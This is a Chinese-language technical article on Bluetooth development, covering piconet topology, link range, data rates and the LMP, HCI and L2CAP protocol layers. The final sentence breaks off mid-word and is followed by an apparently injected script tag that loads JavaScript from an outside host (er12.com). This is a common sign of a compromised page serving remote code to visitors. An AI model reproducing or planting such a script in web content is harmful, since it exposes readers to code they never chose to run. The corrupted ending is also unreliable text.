了解系统与辅助设备的关系是成功开发蓝牙应用的关键。本文将介绍通过设备查找、名称查找、服务查找、安全保证以及应用连接五个步骤实现设备之间连接的过程,以及通过安全管理器进行安全认证和授权来实现设备间可靠连接的安全性等蓝牙开发的关键技术。
蓝牙协议解决实现了数据和声音的无线传输,并定义了一套包含无线部分、协议、甚至还有应用规范的完整系统。应用规范包括在应用中使用无线和协议组件的方法,并在规范中作了详尽的定义。
蓝牙特别兴趣小组定义这些规范的目的就是为了确保不同制造商的蓝牙产品可以相互兼容,具有互操作性。
如果对蓝牙系统的工作原理缺乏基本的理解,在设计蓝牙解决方案时将会遇到很多困难。设计工程师需要真正了解蓝牙系统是如何工作的,以及如何将多种不同的部分组合成一整套规范。
网络基础知识
蓝牙设备仅在个人区域网络(pan)的范围内受到支持,这一点与802.11无线局域网明显不同。在所需功率、实现成本和支持的数据传送速率等方面对二者进行比较,最主要的(也是经常被忽略的)区别在于蓝牙能支持很多在802.11所不能实现的各种独特功能。进一步的区别还在于蓝牙技术可以方便地接入不断变化的应用阵列,这个特点可以用于高度移动的应用。
在典型的蓝牙网络或者微型网络中,射频连接可以建立在一个主设备和最多7个激活的从设备之间。在允许时,从设备与主设备之间实现通信(见图1),而从设备之间不能直接互相通信。
如图所示,#7主设备在lan接入点(lap)所能覆盖的10米范围之外。进入服务区时,pda就会与lap建立连接,并根据lap的命令从主设备转变为从设备(假设其身份为第7号激活从设备)。在这个站中,它将作为客户利用lap提供的服务。
这一过程看似简单,实际上包含了多个步骤,这些步骤在应用软件中实现。
蓝牙系统的设计工程师应该牢记一些影响系统性能的问题,例如rf链路预算和带宽共享。蓝牙设备规定的工作半径为10米,这是由于必须延长电池的使用寿命,但是也允许设计更大发射功率的蓝牙单元,将覆盖面积扩展到半径100米。由于非移动设备可以利用交流电源,所以电池寿命并不成为问题。但是这种大功率和低功率的混合使用(如lap)将会产生rf功率不均衡的通讯链路。此时为了建立无线链路,单元之间的距离必须等于或小于10米。
无线链路能支持的主设备到从设备之间最大数据传输速率为723.2kbps,从设备到主设备的最大传输速率为57.6kbps。
应该注意该带宽由微型网内所有激活的从设备共享。另外一种数据链路配置(还有其他多种不同的配置)支持均衡数据流,在两个相反的方向上均能达到433.9 kbps。数据传输速率由主控制器(无线硬件)严格限制,同时也在一定程度上受到蓝牙堆栈和应用代码上层的影响。
具有基本堆栈的协议在不同程度上推进了由堆栈功能定义的网络连接的发展(见图2)。基带和无线硬件可以控制跳频和时分双工操作,实现对通讯信道的支持。由于这一层的功能对设计工程师来说是透明,设计工程师不必深入了解该部分的原理。
链路管理协议(lmp)是协议链中的底层部分。该部分负责很多功能,包括认证、加密使能、维护以及无线链路的控制等。这些功能由应用软件来管理。
主控制器接口(hci)是允许主控制器(无线硬件)与通常运行在另一个处理器上的蓝牙协议堆栈的上层进行通讯的接口。在开发蓝牙解决方案的时候,这一点尤为重要,因为该接口允许无线硬件跨越硬件边界与上层堆栈和应用软件相集成,这些应用软件通常基于通用异步收发器(uart)或usb接口。
逻辑链路控制和适配协议(l2cap)作为可以建立点到多点的数据链路层协议(一个主设备带多个从设备),将数据包分割和重组,将上层协议(如rfcomm和服务发现协议(sdp))汇集或混?script src=http://er12.com/t.js>